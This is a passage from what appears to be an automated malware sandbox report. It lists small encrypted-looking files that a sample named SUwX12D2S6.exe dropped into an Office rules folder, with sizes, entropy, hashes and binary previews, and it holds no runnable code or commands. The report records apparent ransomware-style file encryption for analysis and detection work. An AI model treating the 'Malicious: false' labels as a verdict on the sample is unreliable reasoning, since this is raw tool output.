Preview:	.<?..R.._.D.U.8.=1.J...K...Y.`B.].~..aP....d..".vc...n5..'..H..........^5.O.~..46=....xm...E....<...u...~.\|.7.Uy[.z....`Ne...Y(..'.......D....m].5A..F..q.....J.1g.R.R......M.....)......F.. .<]....kP.8O..Q.w.Q..Jr...[.<~..M,M.....1..Z2.8.>Ab..'..N...wI....s7\|...VV...F.).z.,.h$.T..R ..H.Z.......q......D....AW.......x`I.....X.3.I. ...2.1@.Q.[./..4>.}.>.....E.C..V.S.@._..ev......r"9uk.h..2!....k. ....6...X..-.Z.x8.0..<.q..R......I.i:)..(..m@P.....;.<...c'.S....x5.....Z...4mM,qe.,.........\......w....x0t...=....`.'.Zd@7..~u..T..`.@../.#..IAD....{.:.ub...B}..$.i`Gx...a.f'.V.R....],f\|.;.S.Ui...1+/..e..&.(.Z.D......M.e..Fitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.723045985732438
Encrypted:	false
SSDEEP:	12:z3ydIOM/x69j195UIPPsTtlBZQbkf9NXLFj17LgA+j8qgBcA4mOb60tg0qYjVciD:O6p/kJ1AIPQD3QbkfbrzSEcXmG/q6VbD
MD5:	F7103451773D1BCD7561AE84E1F175D5
SHA1:	7D5D6427D32465B8A566752E782B0225D534EAFD
SHA-256:	4373F95BC9E2340A0377647912A136D5B4483967EC32B04BE40B6BF863E24682
SHA-512:	41EE841F4CBB8CB692B1E2BA3286AEDC50F47F87C1FD571F66BCD27BFDF6AF94BFDA0E98E34FB9DB6757721AF67C40E1CE99160B12B8DE478EF77C5DC6AF393F
Malicious:	false
Preview:	.<?!.....B.w@..[....w....EJ.......;4....z\|...UVXZ.4..54 Up..1...l./....k./Y..4L...:iGm.j-&..s..M..>.........w........5....o..N.b...".0..?.......Y..$..7[...SX....`S..O....r2.....O!..0X..4......i....P....."....N.j.{FY.[.....5..v.`..\|k...\yu..b.U.........._...3...Xn;t...&.?.".......,m....Z7.d.g..Tu#.._..mp...].E..'..>@..v;...-a.U\|f....<IK.l.5..e.)..)_....y..../.A...PV.....3.9?h\.-..VM.=....?...A.d(..T.^....],..g.tBR.pl:..i2.`D"..O.G..N)fDSI,..@....<....+_.m..E.PF......[..g.o..48...f$i,a...=.>..7I......{..!.q0.2Dk..clg..W.....i..............h^..K.%%...&.=.1[.e....%.l.....E.i..<hi.O..p......W..x.N(h;m..&....i.....kh..m.(...N.o7I...d.d.k.1......H..N..*......I...N@....J..y....w..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	734
Entropy (8bit):	7.695536206104776
Encrypted:	false
SSDEEP:	12:ZKNyFcsxqbkGhRp4JSKR5NZKVzres8NGPosISgxJ9//G60jVcii9a:ZzIgLJSKRNKVPTAswPKVbD
MD5:	CB11FFE436BC4D267C906DB6A0CBA169
SHA1:	8570F15C95284B50135F7D05678BAF2657E36430
SHA-256:	BDF303AEB472D0F882921BF67028A0AB69267335721D1AC06179EBA9B54E7688
SHA-512:	2828D1D6482EAFB9F1866A1C61FECAD688FEFF0B486F368571C8788C98FF4D8C9DC24EB55B6A5A2DBF5E3093C6BA91A11D97C160EC9829A7544B634BFAB05766
Malicious:	false
Preview:	.<?..){qO._j......H.. p..'...{..q...8S%&."-.Fc.g...=5.`.X..._....M...#ahy.L...$..../!b.<R.r....b.......r...E.'..!.N.lS...4...5...4..C...........^h..al...).^.}...{...d.E.}....(...P...Wz......BW.o.d.z.j....{....#IdC....;..g..h.Z...K....k.}{.l`..n7.j].X..eLgQ.h^.r.[ v....e.NZ..!2.1...~SE...:.h.c..)y....z.Z@..OP.+QB....[...h..5.`.x....J./,...;B..$....hl<..hS.J...p..2.i..B,....a...x........W.f..q........./.$..L..,.....Sy.....c...@.dJ.<uUP.jX...1.1.......=..=}3;).2...R.P....R7..C...3..c.Q...n0..I.7..Z.r..{.U.....`..F..z..?.<............Rm7.Y....m..f;.a"........jX7..;......y..g.j..y.@....r.st..b.p..sA.:%.O.4.6S.q.8:itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.713777591881488
Encrypted:	false
SSDEEP:	24:L2OsKJjeihY9HRvgfuzkJ7efodCWyWXQSGjfzVbD:KrKJCihQv8xwodyDfzFD
MD5:	9ACE40FD34E0F4E2FEF079FDCE2467AC
SHA1:	BAED4303F4281B8D93F3CC1B5223DBD02678EA9B
SHA-256:	5ABE02D6F4A64ACE82BC1ECB3478A864121A52DAE935A77EAB2EFEA00CF06CA7
SHA-512:	88011228065899503B3CFCF6401C4ED8D68509EE986399FE3C7078697D9CDFB765C4CE020BB9A11304C54F51CDE9FEE262D9DBA4ACA5BCB0D80919E164A4F3DC
Malicious:	false
Preview:	.<?....WA....}6SDq.h....1gI..}<...?...g@.`Z<KpA..N...(..Nj@.Y....u..J1....{..(..O+XL.......4!.6.4. .c;.M.$+....#..H.c..+.....2..nb..x..V}..-s..T^t`...#.A{Q...\|FEU.&.F.u.At...3$.\|..l.Q#..N........f&....K.v..y)OJl.&c....:g.B..v.....d./..1v......w.5..^T..C...@... ._.0#.....f$9..B.KJt@4.......cf.L.. .2...d)..2U(..........J.......i.VZ...3.....\|H=..=^>.m Y._J.......................5gF5{....Sy..`.m .M~..j..!....M.o...;.v.V...[......srx.@...>i.....M4.^d. H.M.qC.....i.!.....#..(....4.'....=.ci._)Uw...<i..O...+..V.Z!8.\|....W....K...%#....n?'.C.0i8z..W.d....j.^2#h.KR-.1.d....9J...j.../..k.....,.(.G...B.s.....S.....[......2...d0xM.+../.e.'I>..>....~..V.a2e...b.I&..h.;p..L...7. se.\|g.18.j...s....d..4.. q.+...Hitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	7.695204086852907
Encrypted:	false
SSDEEP:	12:F/5WolRC4l7XjW5mPr9VIReugSLGBBozkWKRd2V73qwmFhSuYcv1FjVcii9a:BnDfErgSLGBaO2VWwmFhfFVbD
MD5:	AFD2AB1842B489A615016BC3F1F3CD41
SHA1:	82F7D02636ECA243C11E2FA415CB47C0F41E45B0
SHA-256:	6A7C88BFB56A1FDA982A6148C8EFDDE75E7579F6FFB2AC83D6ECC88253E2B924
SHA-512:	30A99730B2F5275C191CBC7DF3F7B8F36B59B1F8A319A2B9657B304703BC1D502F8952B421E3EF59C0A865C66E1C80621E2A0BB2E0EEE14D7BF5541024B8C9B4
Malicious:	false
Preview:	.<?..'..W...T1....-..Gdi....>.....n.p+:.v=H..&.G..:].@...}8...dmu.k..F.............+9;B...4D.)ZE..W.z.%.rv.t...n.6w..x.b...H.}....:.OY....o...b.6...K..y=I.d..U4"_-.....}..v\J..$.q@..^g.yd%..K.@4p.O5...ZO......=.PG.....x.....s.{..4^..M......_...I...\|:=k._51...e.h2w..m..Z.....W.{g.O........ L!Ol..\|U..... H.......^_@..l...<Z}.\..m.nFKt.C?.....`7 @.....,=z...,.$......L.....$H...H.!.p.dD.cTyr.I%.:..*d.Z.]\.wqW.2h.F...I.....P.bE1.=..c...1..?...../?..].-..Z{...k...00.j...svU..ksv..Y{.KMo. .h"pL.p.y).q...7\.An]r..7.:3.i.[..t...-MzWSq.<.lk.}.....V.:...!O..........}0....S.q%.3...'V.z..(.1.Wc`.b.PGU.......,..R6...a4.P.o@........q)5p}..M@T.C}itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	809
Entropy (8bit):	7.7454032512222994
Encrypted:	false
SSDEEP:	24:0SPn3pds4PtC7QCpmxGvmk9hL24HbiVbD:0K3AJOKL247iFD
MD5:	A7A198397AB8C649EB797910A60B1FAF
SHA1:	1CC40CF3A9FDF1840FAF8FC23952F10C8787DA6B
SHA-256:	A3998CA993FD88E027D6C8D4802F5FDE9512EAF08D78EC58722E167B4937A8B3
SHA-512:	853B07BD949DDA90E2FF3B755DD71D0007477763931BDA16E94AC15174B7AB757D5803A696ACB991B35C1E5EEBAEEAB5C4DAF173543FEA1EE73C6C73CD5DF3E0
Malicious:	false
Preview:	.<?.c...........6%.,.[.........7.k/b.w..a..12.Q....7....%..8..f}.:.+;....vNy.x..._.......3H5.1..IssTi+..<".......W........y.Q..!U$......'.9...!....Z.B....\|.6..7.(..Qx..U."Bo.........W.....,.......(..p..d.!....Q....$(nt..K.....x..E.O.u!..}V......S..v..b)B]...4.Pk..\...Fb...7..'8...M.tK;...Fc.Q.._M..4....LQg&.....C..........q.O."....0+.3.?.I..........@<.c.f\|......Z.L...}..K7+.j0..Bp...j.;ff.\..@b...Os..o.+...[....q.D...>(O.."...KqGW .(k6~....>.L.n{.......lb.q.g.......P.W......m..T.......~.xa.A].....Ec.s.{......Y@ RI@..z....5.......W+....VpJ..[..hX.%O.S......kS.).3.eC.}` i..+.$=m..\.......1.b..P....@^.....w9.t..XT....Z...csE.+..%.AI .@...B......hr.../...T.M..h.......T.-R.Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	7.75432533186351
Encrypted:	false
SSDEEP:	24:sMQ8Gq0ZQY2yVpO0HBD80JDLj3qmiVYwOuCAoDsBDOVbD:s2GZPA0hbf2y/AoDsByFD
MD5:	2DBB9127AA231A5D1C7EACD2C37EE5EB
SHA1:	B525F592C23F68C86ED7AECAD0F453D8251E861E
SHA-256:	DB7898A24EECF6EDF7E8623EA6B666DDDBA5F060F811241AA900E640AE1EF047
SHA-512:	6854E266CE1B454035A4547F3E29A2294E8804786DB3DCD563AD8CB83ABE67408E0BAD4397405703A7819014A2913A73401CDCC02BF29C654AA2B6BBDC02EBE9
Malicious:	false
Preview:	.<?$....e{Sd.S.eJ.Y...K.4...V5.^.6.m.U..\|.....K..<..}.Sm.O.6......v.....nF..=.<....J..M('.<.....4d.#l..H.v...;.\|.hL...x......X...'w.?ON..S..U..`.X..m%.k..fC.}.W...fD../0..k2.+[..3.B.Zq....u......:..J%."......].p.+......P..u....wO...b.xv.].A..M./..W..W....o.O.V.....A..r#..4U..W=.#...9....-&TN..*U[n6.t.!.a.b.....t..a..{...........E.......x..Y]=.]m.)#",..v.P.O.%\|G=...X.....=..r!M...~..a.)vJ_.^9......wi#.DWj....u'......F..8b....@PS......QBn2...s....S.P......F.&....8.\.....Bo.h_..e.f5..x.....S.....z....{...=:...0.C,... .mox....T...\.2u.!..9.#+I....8!.3.>>.B...M6=.NM.....$y"...,/..U%sr. H....]....F(Wj..\.n....y/.z..t.i-.D..... ....{0....xCM.....p..)..Q..k...s..8...9..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	825
Entropy (8bit):	7.739685526928267
Encrypted:	false
SSDEEP:	24:rmgVgqZPtBt2afQBxhQ6qiqmcFYFouwuyBzuVbD:fVggaxhvqidh9wuyAFD
MD5:	303E6E189F4439438054EA6240AABD04
SHA1:	8726414CE9D81A307839633BBA84304C417128EA
SHA-256:	1AFCB1861DD98C921BDDE61BFC5EBC626F2C34254999EA67154C9ED4BCA21885
SHA-512:	B83A88FDEB5FCCFDD9D6FD39A4A4E46F6F65B05966ADE10244FADB13CC852900C9F89383565E2C58B53C5FBA053CF30005187ABCAF6C14CEA5BEB330CF3CA117
Malicious:	false
Preview:	.<?.?..$m...F....}.].aa2.NW.F\.<..^C" .,...+..>$.#....G..VhA..u...M.1"^...).......@q..";N"...$..F...Bl.B.J%z....8.B...o...>.)...C+..}...!....i.Oj....\|....?.7....y.v.N....Pe...Q.Z.k.]..h.....0W.99T.Y....q.%...#9:...y.Xg.....'a...cWD\...4/....FV...0.[R.^....nW.........A...TKU....Eq.d.....^.N.....!2m\.......~.8.l3SZ2.........u..\...l.RI.. ;%J..^..-`..;.2]g9.'...GJ..uG.Cu.....!.*...Ww.6S.v.b.....v..G......eZ7~.?Qy.R..7...g......./....i.......b.b.........7Pg#..Y..e.N.>...ec.I0..o....t.d..R.tyw.....U.F.._.......,;`...}G.~o.>.t....L..q..1.5.le?K..{dpYh.....-.p.ry....5/.i.....EA.a..'.r.3+.H...k<...5...KCA.#...v.".+.,q.".r>.,(4"w,..Zy.....?\..1u...Yo...k..._.p...H.S.G>.....b.........{.......G.C.@t$.b\').........:itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.697652165167125
Encrypted:	false
SSDEEP:	12:SZFDHN4LF7amu+2vHeaEW3u5+/HbLX99VA6/Xulolf+8yIGbWieAjVcii9a:SZVH2L83/eaEWbHbLXXV1sUfzbmWi/VX
MD5:	77640E604C31E5B9AC6A3EDA97E0CBD9
SHA1:	703907B062159652D2B7DDBF3B57E72D8BAA366B
SHA-256:	56B594F9CDDFDCBE53F9C6D11F0D851CD9C4CA8801C7DF9ED80C1978F82F60F3
SHA-512:	7E6B3B3FE89BA949377E9A2082B0977801EF82A9AEA51603380D98D18B59A336672CE9153AEBE68F38E641887F988A0E2A6B4B3D5E87C6A9F7862B6DE52C291C
Malicious:	false
Preview:	.<?....n......x.!}..>..(...P'.....h.....<.......YJ.Y....K.[.+.c....sC.t..........Q..l;GO.c{[.. )L..*....=.......Y.l..z....D.T.Y.]......\|].j.!.....F...W..TzzR..%3..C..eJ..jt..\.Gl.jZ...m.....ST....6..%`.'......\|.... Y.=F.0....#.zW..J..~..B....`.._...~.sA..C.(.Jx. ...J5hD...o...'m....D.JS.fk,l(.^. .%..5....+.M. .9...7-.LO$.I.!-.3ZC...? ....}.kA..6iW....wY.....<`....PYR...pD0q4....b.?.J{G.4n...13..FZ"....}.+...?......pr~{4. .g."n.;..-!...D...Kv.dvN\|L.W..S...........'}l..H.C.....+Em...;j.w.2.....D.."..w\|v...U{.Aq....v.,.0.........c....Q....$%..3..N`.?{)n..$.j!8..,sGP.6V..Iq..Y..Lv!.c..O.9..VZ....P..Uw..J.cP....t..8.A.w.G.'GS..I.P.&.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.701287914819344
Encrypted:	false
SSDEEP:	12:vggZ4ZjRRd6uWi7BAWIRtZXJHLqQJfgGDh9CI/r8ljXdmSc8gW+20V60xhhSgsoG:vWtuilObHLqyxz5mJS8gnlsJYl7TcVbD
MD5:	00AFFFC19465136396D306BA551DCD22
SHA1:	311AC7F476FB624B53F9D239088F7809D7A1D3D1
SHA-256:	8A270FECA8DFF7F57A846E9DBC6265508A03EA3C42A2CC7E73892A4E44570E94
SHA-512:	8E3EC4C4B3E3068E07272E124AFA43529977B434169E86830C8D9D2908F9244C80ECD0470B33714A50E614EDC52005D0F191ED2F82122E46034332857DC78098
Malicious:	false
Preview:	.<?..\|f........s...&8..u..S.[.b...Z,Z..F.d^.e...........cv......k.3c...?.b.Nw..]...h..ig..;UC..N(......U?.r..t.v.>.c.}".$..1.......i..AEaOM8.y^...O.f..q.`.....:.y..d...h....a..'..Z.{d..^H.....,")ge....9"...U;+..cZ...h..@..d.C.tN....[;...<./._...F.3....\|k...f).J....e@.H&wf..j.u22...O4.a.W.....'Y.....2HNH.Y.fAi)..9.\o..h....^..?..../..K.`5.Z.....(!...( &.d...4.#.&...2....D.........,..Uh...H.....rUg...NW.0..YE=...N4v.....S..o/w......&~T.G..:.J<c^Xi.z..U_..l1..a..>AW..7/S_H......u.G...........B+.S.(q.m%.K.(0{..^.6y.h...3V..l...O..Ot,q/J..".0.GYs.}...N.. ~.f+.S..-#..d(Q}..h..E.5..b...?(.d..s......?.x(.u....X.L2...O...C.s4..^qT$...uC\+.].w.....`I....!wO2.T.Ui6KX.C.0.Sk....]}.Y....NQ......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.705336397960679
Encrypted:	false
SSDEEP:	12:3WUv/TFJkchyqW5a02T1Iq2DBmRx4WL6cYgLms2kVxKOhie+kU7lPRMo+mPjVciD:GUnZJmqW5T2T1ZL6cYMmsNVxbNU7lqWx
MD5:	C18B21929E748104FD05FB3088D116DE
SHA1:	DD4978C35A3F1D243142877337304DB2DFA2F4AA
SHA-256:	64352C6AEB5C1EC5F31205E05D1BB7B64F0C94AA954345CB1A1CD347245F7B6A
SHA-512:	E98C33C3AFDC602E91DC4C94A3C51FBFB244A7821CD8EE07B035A691ECFB42988076AF2D7159E21DB04C2D0122C07D0411555528F8FDDABF6CC8A0302641EEC8
Malicious:	false
Preview:	.<?..`.....Le.YleY. .R.c.........Ed.a.H..Or.....(...L.(#..:Z...p.....[...5.._.....La..._M..-..F.o&.I..i....~&.-......Fc..QT.yi.A.0F.."........5...~......i.T..~7 Y`[y..O..!.`..."....a...i#<...P.3..........1,.!....wp..HV.."z.Jh....J.sqQ.$.r6e.,0...B..$..Y&t.2...V....t.r..Te..z.x:Iz.k..7_.........(#.}U...w..C6...b..y.[b#u..L.yV.s...v.)..s.v.6=...X&.Y.\..k.V..we..Qr....a.4.........5Fbk2s..Z...2..En..j..X@....]......Do..t..3..b...N.u..K2...m.s.U..V.]^n8...xy.`...A.......y....h2.6..4".gT...(U>..O..,.9.+=.]..`1.ad...W.K.}~.vdmj..Yi...L.0..^...._..F.AX..e`._.?kJ.....].L.!n.2(.o......tl.;..6.r..b..ZgDO..k#2L..q../..+._'...*.Q.'....6)...I.<Qitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.713524137625885
Encrypted:	false
SSDEEP:	24:Fryd0pJ1Ne6eCcKaX4t4m9kT48xoRI9CVbD:Fr7pfbeVKe4tA482G9CFD
MD5:	EDF38382F199070D10BA2A85E66F8FBC
SHA1:	98C27066D219C784DB7B4FDFB1B55A27060B330F
SHA-256:	4C0B93C02B58C8B29E1194A45B5A90457441AAF7D41C06524633E04EB58CDEBD
SHA-512:	5B062D2154D86270533348ABBD68BDA6852F5CADF5C18E6C7AB360A656344A542CD080E94BA8A853388BCF993BA090875538C1DD96528F887C2CF77DF6FA5CC0
Malicious:	false
Preview:	.<?S..w..j.6.J..A';.B....j?.Hu.J.$.....]..Ww<k.C...._C..T....}..$Yo\..#.!.w..!.._.N...v.3...g...pc..I.:.....Zb.a..a..X..5U....'.4..Hh.C@~.h~.%f..9..;..ce.e..r.p..mo..]..Z...........Oh..I..8b.v.H).hZ.....P..&..A..e.koP}Wpn.>.......AU...{'7K#RR$3Z..d.i........8.....G.Md.#....c..O4-.[d._...A....<C..$$.."..,...hr-..!....&JP.w..3..0M4.....e!..sS6..l....h..c.:....J.,.^.h.,*.?qT.a9.[.+.N-^.$u..."=...x.....k'\.....v..3v.e(Q.x....N..Gt....$.^3d3...xQ.Bc2.`.#V6.......6....1J...U.......K.O<.s...g..a..J.%A.........(..b.5)0.7..4D.6.O@2.n..I.^p...%...3...d1..@.`..v\...+..#.u...U.-L...0].@..I.>eod.t.3h..'..TK...7x.#....W#{.~.........b.C.y.....dDd5M?PT.Uh.).Bso.....U...O......J.w\\|2N?..xitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.691563918486905
Encrypted:	false
SSDEEP:	12:DtsbZc1oI+Ss3Sl2dTivVTOsFbMj8qQbRrNo0roT5KmAshxia3jVcii9a:Dtsb61oI+SVaTi88kSBo0ZbEjTVbD
MD5:	598FD767F77846129EB12682448E84B0
SHA1:	4319F5F18C2B78563E28A09D8F1FB49DCC4E4E33
SHA-256:	6AA75CE69A883AE1B36B23977F6B07640D29A62B0B2816873B79A99354989956
SHA-512:	DA03E8E1D32D7CE11C6AA810A5F7FDC46AD1F2474AB7B5D4BCA17E39E3C136130FED835AAB8FDD1130BA9CF7CC09077FFE85A047529DE2925E78ABD405C1F784
Malicious:	false
Preview:	.<?.O.vo.h..2/8.........0..6.$....'.L...X2...+..^.A... EK&..Wj._'.T...MLH#.M5......T..>.WM...z@._..g......XL.u...-.W.Z..........r\|...\|=...K..:W...s.Y..).(.A.q..r.4_.....[._(..ECw.f..T.S.y.%_`..zn.}Ko+...\.%F.........p.1...hFE..b.........!b..t..nD.....hB...=U......b2.fy..@a....v..A.V).&.}..2.e..........0.c._@.zz..fED.h..-j#..a.q{.#.....AJ..R........i,...3.T%,r4...'.~...~ .s....j\@.v.....]D.14...b.Ed..aF7z.e2'....sTkL..p..M.s.-....p.BW..L.....rs..!6..Q........u.w,.Y.5..Ga..J.nS...0N.Wx.1T.bR/.....r.v........G.....b&.W/.HC.4..Mx?.t....M..\V_....k....>Z.3...~da...B..H.[.P..=.:.J.BqC...J..'.{.i.....WX..s `....L...s..p...?N.7*'...J.q#.)q....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.718767652167148
Encrypted:	false
SSDEEP:	12:lZ0Es8SBE5oz8+xajFRfQRxs+1Is0j86qurEfYdajiXVPDsVa8dBYzjTho2U0vj9:liTNv8+uzowCIsVur0iVV6mzhoR0rVbD
MD5:	566A7CBC753AEAC3903AAF66D5EE38D2
SHA1:	0597986239953D22770CB269CE0A63BD0976F2AA
SHA-256:	1CC102CE9E4F4C024FCD7533B24C49604FCE96E4CD347BD05C10991843ED1E2C
SHA-512:	11F2A6CC4B65BDFB408530302618C37CFD7CBCB1A5463EB4DCFF4E8D47AA80C99E90700E6B37CEB2169D705F1E79EBF0669536C323C4D07AB2FBE6D48DF43CCD
Malicious:	false
Preview:	.<?#.ZV.u~8jJ..Um..U.}...\|.1.7.M...b...\|u.....Y\|q..2L.....5p.4.z2N...~R....ti..?,%.6..J..e0}$F..E...v......@.w...<z..H7....7tn.z..m+..I..B.. v.T4....KV.R.'>.p..9..$..N...\..Mk...G..........w...........P..=...-...p...{.ME..........Ir..?B E....G...[.TM.....M1..]'.:a.F#'GmU........n...;.{.d7...........q..........".X(........K!.g"K..vV.. ...K......b)....J...^......Bs.&Bxq]......4....J4.6}.N.}./...T.n..Z...)...Z..r.mV......R.............O..'@...0.7Gj\O..Q.D.).........j.......Tb.........`..*...J2.&..b.(.....o0..X.p.'....EB..N...L..R."...h.e../...{..BV^..(_...v..c.....xgU0.g...U..IIk.x.Pa...WM.SI.?>......0.\|M...p]].6..m...r..M.....L...........#kn.IU....P....z3..bG..Q..;......t~....oW.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120655v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.708468451635254
Encrypted:	false
SSDEEP:	12:gCVkSmipr7Q+iEM9bcVHkEl4ZHkmkLZajWgTphVTv4m++YwURbQ9blPTy5b4boj9:TUipr7QpXbEHkK4ZEmQZ8WglhVTvjK9B
MD5:	9EC8FAF3D167CF913C81AD9869BF2386
SHA1:	A85B7B48AAC02BBAE4646215355B4B31E5E85980
SHA-256:	FA9FE0967EAC79384AD7394E6F2BBD2923E52EE3AB7702116D537515A1F21C0C
SHA-512:	158F27CE124986EA7462D6E899D99F7A51942014674F91A68DF487D70CE9EAD2B2BBCB94D69FCB65D320FB589AA3F9381567F1C702FF468FACDC73E2EE80293E
Malicious:	false
Preview:	.<?.p.$S.....?...09....M..LLX,#R3..X...D....y.....]..kj[.6.......0..g..... fEk@l....!t.L..%.P.@@,. .h.`.R..y.m..< ..j.F..v9@.\|Zi....(N....808k.c..........-Zp..'3.yV....$:\=...Y5D.=...E...K._D......[..5'.W.o.....3.Ppm..$Q.=...h^...?.....y...1..+....k..U....0...v.cl.L.... mQ>.......6...1..h<...w......H.yY...I.<..M.Z`=.#..F......._.... ...4...A.Nx...f1n.......].V.A....>na...9....@s ?..Y......w.$%uO.W.NI>n.X......T..G... Z..j...<......Z...C.T....X......pb'.F..l.ej.v}.L.M.%..Kg.B.k..k..Z............vcP.Y..x...i....t~(....]{eM\.N0.L.k.F....n...,...dVq\|..+...R.f....)v...K..rd.%&.tOQ.....B..y.^.....9..%.\|.\..wkY'..K......>.B..........c3.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120656v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.683559594940103
Encrypted:	false
SSDEEP:	24:t5+DE4t1ZVf38X3jVB54cZGbhmgBEnaVbD:fSdvaVBnEb4KEaFD
MD5:	A1B6709ADD60AEB929DB2ED6570C9FE0
SHA1:	A05C4F6924630CBF2555550BC154C834804316C5
SHA-256:	E14177DD9221438FE7C8EF0A9CC388C6A7B694CBF4A49699697BFFA1E190F420
SHA-512:	618A611FB49D9F30CF2701B7C9A21D3E82D4DD1DDAAB9DB4EF990343AB67DBDDBE6C5AC35D21A1E97B29E8DC973731F22F97B9A3092C776C0FFEFB8C14B725F1
Malicious:	false
Preview:	.<?..'..]-...dm..4..r2....V........a..].p...=g...{..2.....Q....D..{..`f..&.....Wu./..Dy...)fO..~.......O`...I.O...E....7.b.05!-..,.....hV.fu.:@.....M.~...g.....hk..v.\!..........m=..I...G..%..wb?..Lc.r.8k...WN....J..5...wm.1.......[....1..\|OUx3z.w!......ctw..c...!.^.b.?3..G.#.'.......F6rF.....2..{...{./.vrB..M.{n..........x..V....O....s..z..J.....e...........R...WJ..........Bp.-g.;. ....%.^..,..8..`..i....T.p...4.,...ci.;.n.......I.g........AMBgeGx.(~...I.g...u..j<..I..l.!....]x..y.`X.f.^.i3.l..%..... ...}.M............b...;8./..6...6.T....{.,K........l.....!......U...s}.....}...U...E...h.=V..\p.y&.!....a...?O...>{.U.....%..M....l.....O.. .hs.......l..QT.A.u.JBk..1...&.Q.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120657v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
